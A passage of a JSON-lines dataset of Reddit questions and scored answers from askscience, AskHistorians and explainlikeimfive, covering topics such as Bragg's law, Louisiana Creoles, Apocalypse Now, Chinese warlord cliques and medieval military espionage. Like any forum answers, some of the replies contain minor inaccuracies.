"http://en.wikipedia.org/wiki/Warren_v._District_of_Columbia"], "answers_urls": [[]]}
{"q_id": "22dyi8", "title": "Why is Bragg's law empirically correct?", "selftext": "(worded as a question now).\n\nIn x-ray diffraction, Bragg's law states the relationship between the lattice spacing of a crystal and the wavelength and incidence angle of incident radiation to that crystal.\n\n[Bragg's Law](_URL_0_)\n\nI understand the proof of the law (it's just geometry), but I have a few question's about why it works in practice:\n\n1.  Why is the incidence angle equal to the diffraction angle? Why do photons see the diffracting planes of atoms as \"planes,\" when the EMF around the atoms in the crystal isn't planar?\n\n2. What properties/fields causes a diffraction event? More generally, for any interaction between a photon and any particle with mass, which fields are interacting?\n\n3. What is the extent of the \"trail\" of a photon? How far ahead of one photon can another in-phase, parellel, and laterally near photon be, while still interfering with it constructively (or destructively, if out of phase)?\n\n4. Why do powders produce clear diffraction lines? In a material with millions of randomly oriented crystals, why do clear diffraction lines at any angles exist (suggesting that the planes of randomly oriented crystals favor a specific orientation)?\n\nSorry if this is too specific. I also don't know quite what discipline this falls under.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22dyi8/why_is_braggs_law_empirically_correct/", "answers": {"a_id": ["cgm0m76", "cgm0w60", "cgmb8j4"], "score": [3, 7, 2], "text": ["It's important to note that Bragg's law is a result of *lattice* planes, not planes of atoms. It is the periodicity of the crystal lattice that is responsible.\n\nBragg's law isn't actually a geometric argument, the geometry is just a simple interpretation. Bragg's law is actually derived from the Laue equations.\n\nThese are just common misconceptions, hopefully it'll help you understand it a little better! There are probably people much more qualified than I am to specifically answer your other questions.", "These are all some of the best questions I've seen posted here in a long time, and I feel bad that I can't really give them as good a treatment as they deserve. I hope someone else can call me out on my bullshit below, because odds are good I get something wrong. \n\n >  Why is the incidence angle equal to the diffraction angle? Why do photons see the diffracting planes of atoms as \"planes,\" when the EMF around the atoms in the crystal isn't planar?\n\nBecause it is spherically symmetric, so what matters is where we find the \"scattering center.\" Basically when particles/light scatter off of different scattering centers, the geometry of the scattering centers (the spacing and lattice of the atoms) will determine what angles will yield constructive and destructive interference, giving maxima at very specific angles, which line up with the planes of atoms in the material. [The angles that make for constructive interference will have to line up with the planes](_URL_0_), because otherwise there will be considerable destructive interference. That gives you your Bragg condition. \n\n >  What properties/fields causes a diffraction event? More generally, for any interaction between a photon and any particle with mass, which fields are interacting?\n\nBragg scattering is just a straight forward application of scattering theory. Things (ie particles) interact via some force (so there is a potential between them) and in this case it's the electrostatic potential. \n\n >  What is the extent of the \"trail\" of a photon? How far ahead of one photon can another in-phase, parellel, and laterally near photon be, while still interfering with it constructively (or destructively, if out of phase)?\n\nWell remember that photons are wave packets, so they are spread out over some space. [Here's an example of electron interference that captures the gyst of it (pay close attention to the blue spots on top of the animations, those capture the particle amplitudes fairly well).](_URL_1_) In general, they have to be fairly close in order for the interference patterns to be noticeable; by fairly close, I mean their separation is on the order of their deBrogle wavelengths.  \n\n >  Why do powders produce clear diffraction lines? In a material with millions of randomly oriented crystals, why do clear diffraction lines at any angles exist (suggesting that the planes of randomly oriented crystals favor a specific orientation)?\n\nPowder diffraction (which is a technical term I believe) is quite different from Bragg scattering, as you noticed. In the powder, you assume that every possible grain structure and size is present, so your diffraction pattern just ends up being the diffraction pattern of your average grain size, which would be a halo. You're basically doing diffraction from a circular aperture. ", "Atoms scatter X-ray waves, primarily through the atoms' electrons.  X-rays hit a regular array of scattering atoms and add/subtract according to Bragg's Law equation. Check up on Von Laue's Nobel Prize in Physics in 1914.\n\n_URL_1_\n\nIf you have a good-sized University by you, their Chemistry and/or materials science department will have an X-Ray crystallographer on staff. While in grad school at UofL here in Louisville, I had the opportunity to grow, select, and mount a single crystal of one of my compounds in the X-Ray goniometer, run the diffraction experiment, analyze the photographs, plot the data, crunch the numbers, and get out a plot which perfectly matched experimental prediction ([ORTEP plot](_URL_0_)) Amazing stuff!\n\nHere's a good overview:\n\n_URL_2_"]}, "title_urls": [], "selftext_urls": ["http://hyperphysics.phy-astr.gsu.edu/hbase/quantum/imgqua/bragglaw.gif"], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/2/26/Braggs_Law.svg", "http://upload.wikimedia.org/wikipedia/commons/f/f6/Interfering_Electron_Wave_Packets_animated.gif"], ["http://web.ornl.gov/sci/ortep/ortep.html", "http://www.nobelprize.org/nobel_prizes/physics/laureates/1914/speedread.html", "http://www.xtal.iqfr.csic.es/Cristalografia/index-en.html"]]}
{"q_id": "abl310", "title": "What role did the Creoles, Louisiana's free people of color, play during the Civil War?", "selftext": "Unlike basically anywhere else in the United States, Louisiana has historically hosted a vibrant, influential, and financially solvent community of Creole people of mixed French and African descent. The whole existence of this community defies a lot of our expectations about race in the USA, but these people are essential to the history of New Orleans. \n\nSo how did Creole people react to Louisiana's decision to secede from the USA in defence of slavery? Were these people generally Unionists or did many work with the new government? Did many Creoles own slaves themselves?\n\nBecause New Orleans was probably the biggest port of the Confederacy, this community was probably pretty important during that period.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/abl310/what_role_did_the_creoles_louisianas_free_people/", "answers": {"a_id": ["ed1a07w"], "score": [9], "text": ["I'm going to allow somebody more qualified than I answer your question, but I will insert a note: Your definition of Creoles as Louisiana's free people of color is incomplete. Technically, you're speaking of *Cr\u00e9oles de couleur*. To be Creole during the time period, one needed only to be born in the colony of the Spanish \"Luisiana\" / French \"la Louisiane\" as opposed to being a European/Canadian immigrant or a slave brought directly from Africa, and thus there were and are French Creoles, German Creoles, Spanish Creoles, African Creoles and any mixture therein. The white P.G.T. Beauregard, an aristocratic Confederate general during the Civil War, actually bore the nickname \"The Little Creole\" among his Am\u00e9ricain peers. The \"white francophones = Cajuns\" and \"black francophones = Creoles\" dichotomy is a relatively recent (and incorrect) invention and does not reflect how people at the time of the Purchase actually identified themselves. Anyone can be Creole, regardless of their ethnic background.   \n\n\nIf you want to more about Creoles of color, Emily Clark's *The Strange History of the American Quadroon* might interest you, as it primarily focuses on New Orleans.   \n\n\nSome Creoles of color did indeed fight for the Confederacy, most notably the 1st Louisiana Native Guard, which was founded and manned by volunteer Creoles of color, mainly from New Orleans. They were militiamen more than anything else, but still possess a symbolic significance for New Orleanians. Many Creoles of color did indeed own slaves, but for the most part, they were motivated by their general discontent regarding American ideals entering Louisiana, because Colonial Louisiana did not adhere to the One-Drop Rule; the idea that all whites were superior to all blacks (and that even a single African ancestor qualified you as \"black\") relegated Creoles of color to a position inferior to that which they had held under French and Spanish laws. I won't go into detail because, again, I am not an expert on the topic.  \n\n\nBennett Wall's *Louisiana: A History* and Fertel's *Imagining the Creole City* might also give you the answers you seek, although these texts do not exclusively focus on Creoles of color but rather on Creoles and non-Creoles as a whole. When discussing some of your questions, however, the status of Creoles is better seen as pre- and post-Louisiana Purchase rather than pre- and post-Civil War.   \n\n\nI'm sorry I couldn't be of more help (I can share further opinions and facts, as this is a topic that I enjoy reading about, but I have a poor memory for exact sources and by the rules of this sub am probably not qualified to recount much more than I already have), but I hope I was able to point you in the right direction. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "lo91n", "title": "apocalypse now (film)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lo91n/eli5_apocalypse_now_film/", "answers": {"a_id": ["c2ua95k", "c2uf0q9", "c2ua95k", "c2uf0q9"], "score": [45, 2, 45, 2], "text": ["I can't really do this without the liberal use of spoilers. So \u2026\u00a0yeah. Be warned.\n\nIt's a loose, and very nihilistic, adaptation of a story called *Heart of Darkness* by Joseph Conrad. In that story, a man named Marlow is given an assignment by a Belgian trading company to go up the Congo River and find a man named Kurtz, an ivory trader in the employ of the company who's gone rogue. Kurtz is a mysterious figure, described as a genius but rumored to have set himself up as a sort of local chief or even a personified deity, living among and ruling the natives of the region. Marlow's assignment is to travel up the river by boat, find Kurtz and bring him home. Marlow succeeds, eventually, but Kurtz dies of an illness on the way back, consumed by remorse for the things he's done. After Marlow makes it back to England he meets Kurtz's widow, who wants to know how he died. Marlow can't bring himself to tell her the truth, so he lies, saying Kurtz died in peace, and that the last thing he did before he died was to whisper her name.\n\nIn the movie, the setting is changed to Vietnam during the war \u2026 though exactly *when* during the war is not made particularly clear. The point-of-view character is Willard, a special-forces officer who works in intelligence and counterintelligence. One of his responsibilities in that job is \u2014 to put it bluntly \u2014\u00a0assassinations.\n\nIn the beginning of the film, Willard is in Saigon, which was the capital of South Vietnam in those days and a sort of informal base of operations for the American war effort. He's just come back from America, where he tried to reintegrate into society after his first tour of duty, but was unsuccessful. So he reenlisted and waited to be assigned a mission. He's a deeply troubled man.\n\nFinally he's given an assignment: Go up the Nung River into Cambodia and find a special forces colonel named Kurtz who is rumored to have gone insane and set himself up as a sort of local chief, warlord \u2026\u00a0or personified deity. Find him, Willard is ordered \u2026 and kill him.\n\nWillard travels up the river on a Navy riverine patrol boat crewed by a handful of interesting characters. It's a deeply surreal experience, a series of encounters that are so objectively bizarre, but which are so mundane in context, that they throw into harsh relief the fundamental difference between life in Vietnam during the war and normal, everyday life back home.\n\nAlong the way, various bad things happen which test the resolve of both Willard and his teammates to complete the journey. Eventually they do, making it up-river to the ancient Buddhist temple where Kurtz has set up his camp. What they find there is horrifying. Kurtz has apparently been slaughtering the native Cambodians in mass public executions.\n\nWillard is taken captive and finally meets Kurtz \u2026\u00a0who is, indeed, self-evidently insane. He fancies himself a kind of philosopher-king \u2026 or maybe a god made flesh, who knows. During Willard's imprisonment Kurtz lectures him eloquently on a variety of topics, from war to civilization to what it means to be human, expressing a powerful admiration along the way for the sheer determination and will of the Viet Cong \u2026\u00a0who, it should be noted, were the *bad guys* during the war, and one of the most brutal and sadistic organized military forces of the modern age. But Kurtz admires them for their clarity of purpose and their willingness to act to shape the world in accordance with their own vision.\n\nThe question, of course, is whether Willard is going to abandon his mission and follow Kurtz, or end up executed like so many others we've seen, his head impaled on a stick in front of Kurtz's temple. In the end, Willard chooses the third option: During a native celebration at which an ox is ritually beheaded with a machete, Willard slips into Kurtz's temple and kills *him* with a machete. After Kurtz whispers his last words and dies \u2014\u00a0the same as the book's Kurtz's last words, spoken for much the same reasons \u2014\u00a0Willard emerges from the temple into the middle of the celebrating villagers, uncertain as to whether they're going to kill where he stands. They don't. They just watch as Willard walks slowly out of the camp and back toward the river.\n\nOkay, so that's what happens. What does it all mean? The clue is in the title of the novel on which the movie was based (which is explained, thematically, at the end of the book). The river \u2014\u00a0in the book it's the Thames and the Congo, in the movie it's the Nung \u2014\u00a0is like an artery, and it leads to a heart, a heart of darkness. A place where the morality and the code of civilized life ceases to exist, and man is reduced to his essential nature. To journey up that river and into that heart is a terrifying prospect, because no one ever knows what he'll become when he gets there. The river strips away all our illusions, all our pretenses. It flays us of our comfortable lies and forces us to be *exactly* who we are deep down inside, in our *own* hearts of darkness, in that place within ourselves we dare not look for fear of what we'll find.\n\nIt's a good book, and a good movie.", "Charlie don't surf.", "I can't really do this without the liberal use of spoilers. So \u2026\u00a0yeah. Be warned.\n\nIt's a loose, and very nihilistic, adaptation of a story called *Heart of Darkness* by Joseph Conrad. In that story, a man named Marlow is given an assignment by a Belgian trading company to go up the Congo River and find a man named Kurtz, an ivory trader in the employ of the company who's gone rogue. Kurtz is a mysterious figure, described as a genius but rumored to have set himself up as a sort of local chief or even a personified deity, living among and ruling the natives of the region. Marlow's assignment is to travel up the river by boat, find Kurtz and bring him home. Marlow succeeds, eventually, but Kurtz dies of an illness on the way back, consumed by remorse for the things he's done. After Marlow makes it back to England he meets Kurtz's widow, who wants to know how he died. Marlow can't bring himself to tell her the truth, so he lies, saying Kurtz died in peace, and that the last thing he did before he died was to whisper her name.\n\nIn the movie, the setting is changed to Vietnam during the war \u2026 though exactly *when* during the war is not made particularly clear. The point-of-view character is Willard, a special-forces officer who works in intelligence and counterintelligence. One of his responsibilities in that job is \u2014 to put it bluntly \u2014\u00a0assassinations.\n\nIn the beginning of the film, Willard is in Saigon, which was the capital of South Vietnam in those days and a sort of informal base of operations for the American war effort. He's just come back from America, where he tried to reintegrate into society after his first tour of duty, but was unsuccessful. So he reenlisted and waited to be assigned a mission. He's a deeply troubled man.\n\nFinally he's given an assignment: Go up the Nung River into Cambodia and find a special forces colonel named Kurtz who is rumored to have gone insane and set himself up as a sort of local chief, warlord \u2026\u00a0or personified deity. Find him, Willard is ordered \u2026 and kill him.\n\nWillard travels up the river on a Navy riverine patrol boat crewed by a handful of interesting characters. It's a deeply surreal experience, a series of encounters that are so objectively bizarre, but which are so mundane in context, that they throw into harsh relief the fundamental difference between life in Vietnam during the war and normal, everyday life back home.\n\nAlong the way, various bad things happen which test the resolve of both Willard and his teammates to complete the journey. Eventually they do, making it up-river to the ancient Buddhist temple where Kurtz has set up his camp. What they find there is horrifying. Kurtz has apparently been slaughtering the native Cambodians in mass public executions.\n\nWillard is taken captive and finally meets Kurtz \u2026\u00a0who is, indeed, self-evidently insane. He fancies himself a kind of philosopher-king \u2026 or maybe a god made flesh, who knows. During Willard's imprisonment Kurtz lectures him eloquently on a variety of topics, from war to civilization to what it means to be human, expressing a powerful admiration along the way for the sheer determination and will of the Viet Cong \u2026\u00a0who, it should be noted, were the *bad guys* during the war, and one of the most brutal and sadistic organized military forces of the modern age. But Kurtz admires them for their clarity of purpose and their willingness to act to shape the world in accordance with their own vision.\n\nThe question, of course, is whether Willard is going to abandon his mission and follow Kurtz, or end up executed like so many others we've seen, his head impaled on a stick in front of Kurtz's temple. In the end, Willard chooses the third option: During a native celebration at which an ox is ritually beheaded with a machete, Willard slips into Kurtz's temple and kills *him* with a machete. After Kurtz whispers his last words and dies \u2014\u00a0the same as the book's Kurtz's last words, spoken for much the same reasons \u2014\u00a0Willard emerges from the temple into the middle of the celebrating villagers, uncertain as to whether they're going to kill where he stands. They don't. They just watch as Willard walks slowly out of the camp and back toward the river.\n\nOkay, so that's what happens. What does it all mean? The clue is in the title of the novel on which the movie was based (which is explained, thematically, at the end of the book). The river \u2014\u00a0in the book it's the Thames and the Congo, in the movie it's the Nung \u2014\u00a0is like an artery, and it leads to a heart, a heart of darkness. A place where the morality and the code of civilized life ceases to exist, and man is reduced to his essential nature. To journey up that river and into that heart is a terrifying prospect, because no one ever knows what he'll become when he gets there. The river strips away all our illusions, all our pretenses. It flays us of our comfortable lies and forces us to be *exactly* who we are deep down inside, in our *own* hearts of darkness, in that place within ourselves we dare not look for fear of what we'll find.\n\nIt's a good book, and a good movie.", "Charlie don't surf."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "zo8da", "title": "What on earth was a \"clique\" during the Chinese Warlord era? How did it operate officially and unofficially? so many questions.....", "selftext": "So, the Chinese warlord era has always been a sort of blank spot in my mind. In my mind, the Emperor falls, then Japan comes in and messes everything up, bam, communism.\n\nObviously, that isn't right. There is a gap almost half-a-century long between the fall of the emperor and the Japanese. The warlord era....\n\n\n...Now, when researching the warlords, it becomes mindbogglingly strange. There are military \"cliques\" where the different generals tried to fight for power over their own possessions. But they also had a president, prime minister, and premier who were elected by a national assembly which was in fact elected by provincial councils and electoral governments.\n\nSo, here are some questions:\n\n*   What is a clique? Did it have any official paper and pen existence, or was it like a high school clique, except instead of fighting over how got to date the quarterback they fought over who got to rule shanghai?\n*   How much power did the cliques have relative to the \"official\" government? If I am one of the members of the Ma clique, could I ignore any proclamation from the Zhili clique's government in Peking?\n*   Did political party's exist in the Beiyang government? I know that there was the KMT and eventually the Communist Party in southern China, but did the north have any \"National Republican Party\" or \"Liberal Party\" or any similar organization? Or was it all centered around the cliques?\n*   Wu Peifu was described as a \"philosopher general.\" Why? He was an all-around badass who won his wars, apparently, but why philosopher? Did he read Confucian works as he defeated the Annuih and Buddah while he helped Cao Kun? Did he write anything?\n*  **Finally,** are there any non-wikipedia, exceptionally well-developed internet sources or narratives about the Warlord era?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/zo8da/what_on_earth_was_a_clique_during_the_chinese/", "answers": {"a_id": ["c66eu3x"], "score": [5], "text": ["To give you a rough context of the era\n\n-first 1800s - modern age, unequal treaties, rise of nationalism, modern ideas, creation chinese identity as we know today (e.g. beginning use of chinese vernacular in writing)\n\n-Then came a revolution that based on nationalistic/liberal ideas led by KMT with the aid of a few qing era lords that eventually overthrew the Qing dynasty establishing the Republic of China (current government in Taiwan). i.e essentially a bunch of young turks collaborated with old self interested feudalists\n\n-Then one of the qing era lords known as Yuan Shikai, usurped the Republic and made himself an emperor\n\n-He collapsed and so China disintegrated into various local factions who ruled their own areas de facto autonomouslyand the KMT only having de jure power over China. Think Afghanistan now, and how Hamid Karzai is often termed the mayor of Kabul.\n\nEssentially its best to think of the warlords as a compromise between feudal princes and a modern republic.\nAt first they were independent but eventually they were all put under de jure authority of the central KMT government in Nanjing, this is where the big name Chiang Kaishek comes in often thought of as \"the biggest warlord\".\n\nUsing the Muslim Ma clique for example, essentially a traditional family clan. They worked on an essentially feudalistic model, in short they ruled using smaller time local 'warlords' (usually powerful locals) that swore allegiance to them and conscripted/levied their own militias, taxed whatever they pleased. They had no real law, it was the rule by despots. However eventually for various reasons they had to swear allegiance to the central government, but retained their de facto power, so legally on paper they were pretty much like 'governors' etc and prominent members were granted cabinet positions. \nPower comes out of the barrel of the gun best described the situation, if you had a formidable militia under your hands, \"democracy\" swung your way. Think the early English Parliamentarian system, it was still largely formed by a semi feudal bunch of lords at the top.\nI hope that clarified things abit\n\nas for your questions\n\n1. They were eventually in confirmed by the law, but not as warlords but as cabinet members, ministry heads, local governors etc, for example Ma Bufang was made the governor of Qinghai which was essentially his little 'fief' and the law simply confirmed that, and his militias were ordered and ranked into the KMT army. This does not mean anyone else could ever be appointed to command his militia, or anyone else be appointed for governorship of Qinghai. It was authority then appointment as opposed to appointment then authority, in short the titles were only a modern veneer to cover a feudalistic system. The law only 'legitimised' rule by robber barons.\n\n2. They also did act in their appropriate roles as cabinet members etc on a national level, however if their interests came at a head with the Nanjing government, you can be sure they wouldn't follow the rule of law. Chiang knew better than do to so. The Nanjing government although applying a modern system in their own territories, had no real sway on matters in warlord areas where things worked very much like the old feudal system except instead of magistrates you have army officers, rife with nepotism and corruption.\nBtw the central government was in Nanjing.\n\n3. Okay this is considered early warlord era pre Chiang Kaishek, and where the warlords didn't even follow a de jure central rule. The KMT was the Republican/Liberal party, although later with Chiang is became a conservative autocratic one.\n\n4. I would think of the epithets as distinguishing features of each warlord, religion was often used.\n\n5. Yes this is something thats written extensively about, but in Chinese\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ayrpi8", "title": "when 0g, would an object weighing 200lbs move as easily as a 2000lbs object? how do physics work in this scenario?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ayrpi8/eli5_when_0g_would_an_object_weighing_200lbs_move/", "answers": {"a_id": ["ei2qpsv", "ei2qrai", "ei2qv0q", "ei3a6yp", "ei3aud7"], "score": [3, 10, 9, 3, 2], "text": ["You could move the larger object, but only slowly at first. The more you push, the faster it will go and the harder it will be to stop.", "Inertia is still at play, so it would be harder to move the 2000 lb object. In Newtonian mechanics F = ma, solving for a we see that a = F/m, so acceleration is inversely proportional to mass for any force.", "Momentum is still the same, even when gravity is not an issue. If you push on the 200 pound object and the 2000 pound object with the same force, the 200 pound object will move 10 times as fast.", "One easy way to think about it is a 2000 lb object is just 10x 200 lb objects all tied together.\n\nSo if you apply a 10 N force to a 2000lb object, it is exactly the same as applying a 1 N force to 10 different 200 lb objects. If you applied 1 N to a 200 lb object, it will move at the same velocity and accelerate at the same rate as a 2000 lb object that you applied 10 N to.\n\n(Note for all the people confused by the \"N force\"... a N is a Newton of force, or the amount of force required to accelerate 1 Kg to 1 meter per second velocity in 1 second of acceleration.   None of which really matters to the explanation above, because it doesnt matter what units the forces are in...)", "So everyone has already answered the fact that gravitational mass and inertial mass are the same thing.\n\nWhat's interesting (and OPs question alludes to this point), is that we don't really know any good reason why this is the case. It is perfectly easy for us to conceive of an object which has low inertial mass and large gravitational mass, and vice-versa, but in every case in nature, they are identical, and we haven't found the link between them. \n\nPhysics is cool. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1emt7d", "title": "Why do electronics have a minimum operating temperature and how does it malfunction at these low temperatures?", "selftext": "Everyone knows that electronics struggle at high temperatures due to melting and issues similar to that, but even then they are resistant to soldering temperatures for a short time.\n\nBut why would electronics stop working at low temperatures?\nSurely the electronics would work progressively better, all the way up to the point they become super conducting at 0K?\n\nAlso, what would happen if you managed to get into the 0K temperature regime with a computer, what would happen? Would the silicone behave oddly and the transistors stop behaving properly?\n\nAs an after thought, is it the timing crystals/circuits that fail, if so, what would happen if these were kept at room temperature and the rest of the circuit was to be cooled.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1emt7d/why_do_electronics_have_a_minimum_operating/", "answers": {"a_id": ["ca1vc8h", "ca2dnlf"], "score": [13, 2], "text": ["The temperature range listed on electronics equipment is not linked to the semiconductor properties. There is a minimum temperature for silicon operations, which is called the \"freeze-out\" temperature, and depends on the semiconductor doping. With a very high level of doping, much higher than used in standard silicon process, you can even operate at temperatures close to 0K. On the other end, consumer electronic devices are rarely qualified for operations below -40C, i.e. 233K, except for very specific applications. I have found [this page](_URL_0_) which gives more details about this without being too technical.\n\nIf your temperature drops further than the freeze-out temperature, your transistors will not operate as transistors any more, and your circuit will not work, plain and simple.\n\nTwo comments regarding your questions. First, not every material becomes a superconductor at low-temperature. It is more the exception that the norm. Second, silicon can operate at very high temperatures for long periods of time. Silicon melting is the least of our concerns - the package would melt first anyway. We restrict the temperature for a number of other reasons, first and foremost internal silicon timings, but also increased power consumption, including leakage, limits to what a case can dissipate without burning the user's ear, hand, or thighs, and so on... It is fairly standard to limit it to a little above 100degC inside the silicon package.\n\nEdit: I cannot maths any more...", "The \"freeze out\" temperature someone mentioned is not really the consideration in most *practical* situations. (It would be a concern in some unusual situations.) Several practical reasons exist for not specifying that a commercial part will work at low temperatures: \n  \n(A) Electrical characteristics of semiconductors (and their associated interconnects) change as a function of temperature. In order to properly design and simulate circuits, the temperature range of operation is kept within a range that will be useful in customer designs.  In the past, cold temperatures weren't a big concern for most digital designs, since most characteristics improved at cold. That is no longer true at advanced process nodes; cold temperature can be worst case for several things.  If you guarantee that a part will work at cold temperatures, then you have to design and simulate for those temperatures, and you have to take the yield loss in production for devices that don't meet specs. \n  \n(B) Most devices are production tested to ensure that random manufacturing defects or device variation don't cause the part to be out of spec. When you start doing this below 0C, it becomes a royal pain in the butt, because all of the water in the air wants to condense/freeze. So you generally don't rate a part to work colder than 0 unless you want to incur the cost penalty of dealing with the issues that arise in a freezing environment.  That, associated with yield loss, mean that at a minimum you need to price the part higher to maintain the same profit margins.  \n  \n(C) Temperature range has some reliability implications. Most mechanisms are worst at hot temperature, but a few things are cold sensitive. Hot Carrier Injection (HCI) used to be worst case at cold, although that's not so true at advanced process nodes. Probably the most significant is the ability to withstand temperature cycling. If a device is rated to work over a wide temperature range, then you have to ensure that it can by cycled many, many times over that range. To do this, you do an accelerated test by cycling over a wider range than the use conditions, but for fewer cycles than a part might see in its lifetime.  Increasing the range creates more mechanical stress (and more creep if you increase the hot temperature) and therefore increases the failure rate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.extremetemperatureelectronics.com/tutorial3.html"], []]}
{"q_id": "5a13dy", "title": "What are some good sources over the Muscovite-Lithuanian wars in the 15th and 16th centuries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5a13dy/what_are_some_good_sources_over_the/", "answers": {"a_id": ["d9d59s1"], "score": [3], "text": ["*Ivan III and the Unification of Russia* by Ian Grey is a good read that goes into the wars and the background behind them on the Russian side. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ahw6p4", "title": "what is bloc-chain?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ahw6p4/eli5_what_is_blocchain/", "answers": {"a_id": ["eeiod40"], "score": [3], "text": ["_URL_0_\n\ntl;dr - blockchain is a way to have a secure decentralized ledger of transactions such that things like carbon taxes and so on can be properly tracked, which may encourage people to actually follow through on their environmental promises, unlike how things have worked out in the past."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://medium.com/thebeammagazine/how-blockchain-could-help-to-protect-the-worlds-forests-a1ad8c00e7a6"]]}
{"q_id": "690cgc", "title": "How did Medieval kings gauge the military potential of their neighbours before acting against them?", "selftext": "Since kings in the Medieval era relied so heavily on their vassals' levies to make up their armies, how could they know how many opposing soldiers to expect from their rivals before making a move against them?\n\n\nEdit - Pardon me, I should have definitely been more specific with a timeframe.\nI'm curious to know as to how they could gather this knowledge from neighbouring nations around 700-1100 AD, before most European nations had a standing army.\n\nHow could a leader know the capacity of an enemy leader's armies before they are called to arms?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/690cgc/how_did_medieval_kings_gauge_the_military/", "answers": {"a_id": ["dh2sgx8", "dh301tf", "dh39cg1", "dh3bmel", "dh3c4wz", "dh3zchd"], "score": [977, 504, 79, 3, 107, 109], "text": ["Also, how did kings get an accurate assessment of their own forces?", "As an addition, I'd like to ask how prevalent espionage was back then, if it was effective and or accurate and were there accounts of, \"double agents?\"", "As a follow up, what would happen to a vassal and his men had he refused a call to war? What would happen to him and his forces during and after the war? ", "I believe I can get an accurate assessment for medieval kings in Western Europe during the early fourteenth century into the middle of the fifteenth. My sources for this will include Kelly DeVries's 'Infantry Warfare in the Early 14th Century', Clifford J.Rogers's various essays including 'The Edwardian Revolution in Military Affairs', Andrew Ayton's 'Knights and Warhorses', and Peter Coss's 'The Knight in Medieval England 1000AD-1500AD'.\n\nTo answer your question, I would say that the traditional methods of 'espionage' would be employed to some degree. Ambassadors were not quite codified, but representatives of opposing courts would likely gather information on the numbers and powers of the 'loyalist' magnates that would make up the majority of a king's armies. There's even some evidence to suggest that the retinues of magnates in this period were the 'core' of an army (infact, by the turn of the 15th century, they DEFINITELY were, see The Soldier In Later Medieval England, Adrain Bell, Anne Curry, Andy King, David Simpkin).  So when, say, the retinue of the Duc d'Orleanais rocked up in Paris, an astute observer might ascertain it's size and strength, and link that to military strength. \n\nHowever, the big kicker for this is that these are minor contributions compared to the constant stream of nobility moving inbetween the courts. Savoyards ended up in England, the French ended up in Prussia dining alongside Italian with the Teutonic Order. Nobility moved between courts constantly, with only landed nobility and their family and closest retainers staying anywhere for very long; the unlanded nobility could be found moving around a great deal. For example, while in exile, Henry Bolingbroke resided in France, and doubtless would have spoken to the military elite of France. A retainer who had served in France under the Duc d'Bourgogne could likely relate to the King of England that magnate's fighting capabilities. A prime example of this is Godfrey d'Harcourt, who worked alongside Edward III in his invasion of Normandy.\n\nI hope this goes some way to answering your question!", "Like all \"medieval\" questions, the question is so broad as to be almost impossible to answer with any one single answer.  The medieval period covers centuries and many different governing styles, cultures and political arrangements, and it's impossible to generalize.   Your question of vassals could be construed to apply to England and France in the early middle ages, but not to Italy, where professional soldiers were far more common.  But then, even during the 100 years war, there was frequent use of mercenaries and \"called up\" armies that were more than mere amateurs. \n\nHowever,  we can point to some specific examples, and those might be helpful. \n\n[Here is an article that discusses military espionage from the Wars of the Roses to the Reformation](_URL_0_) which is about the period you're interested in.  It cites a large number of secondary sources and original documents, many of which would require language skills to access.  As you might expect, it focuses primarily on england, but also has some references to contemporary scotland, france and italian city states. \n\nIt recites that the Ambassador were a primary source of political and military intelligence, and they were often the center of intelligence networks.   We know of these, not in the least, because of financial records documenting monetary payments for intelligence purposes. For example, the English deputy at Calais had a budget of 104 pounds per year to employ spies, which was not an insubstantial sum. \n\nMerchants were a major source of intelligence, and it was extremely common for government officials  (in England, Italy and Elsewhere) to question merchants that had recently come from traveling in enemy held lands. \n\nIt also recounts that when war was threatened between Scotland and England, both Henry IV and Edward VII used a combination of disaffected scots, picard and various merchants, who would gather intelligence and report back to their respective kings.   We have records of this through various crown payments to individuals and notations in this regard. For example,  in 1839-1840 Richard Barowe of Holy Island was paid 28 pounds 6p for \"certain matters touching the scottish war,\" and a Merchant, John Papdye, was paid 40 pounds. \n\nCampaigning armies also frequently had spies, both near and far, to report on the disposition of enemy forces.   In 1451 a ship containing a french speaking Scott, William Moneypenny, was wrecked on English Shores, and english authorities searched the ship for letters, which were found and immidiately sent to government authorities, and Moneypenny himself was jailed and held for ransom. \n\nIt also reflects the use of Espionage during the hundred years war.   in 1454 the Earl of Arundel was allowed 1200 livres per year for spies, and 54,000 livres per year for \"journeys, embassies and messangers\" which would also have performed an intelligence function.   Personal servants of a king or lord were also commonly used for intelligence gathering, as they could travel semi-anonymously. \n\nOne of the recurring points is that the 100 years war led to the development of the english state, and that intelligence gathering and a system of informers came along with this new state.   Upon Henry VII's death, Thomas More remarked \"'No longer does fear hiss whispered secrets in one's ear, for no one has  secrets either to keep or to whisper. Now it is a delight to ignore informers. Only ex-informers  fear informers now.\" \n\n\n\n", "I may not be able to give you a complete answer as I am not able to speak intelligently on the levy system to which you refer. Hopefully another qualified individual can go into more detail on this subject. However, I am familiar with how the Byzantine Roman Empire of the Late Antique, and Medieval period waged war and hope to shed some light on how they went about, and thought about sizing up their enemies during this period. \n\nThe Byzantine Romans were extremely conservative in their military exploits, and only risked direct engagement when odds were much in their favor. In this sense, it didn't matter how many troops their opponent could field in total, they would avoid superior forces, destroy smaller ones, use attrition and ambushes to wear down their opponents and find other regional players or rivals to attack at opportune times. \n\nTo quote the emperor Maurice (who reigned a little 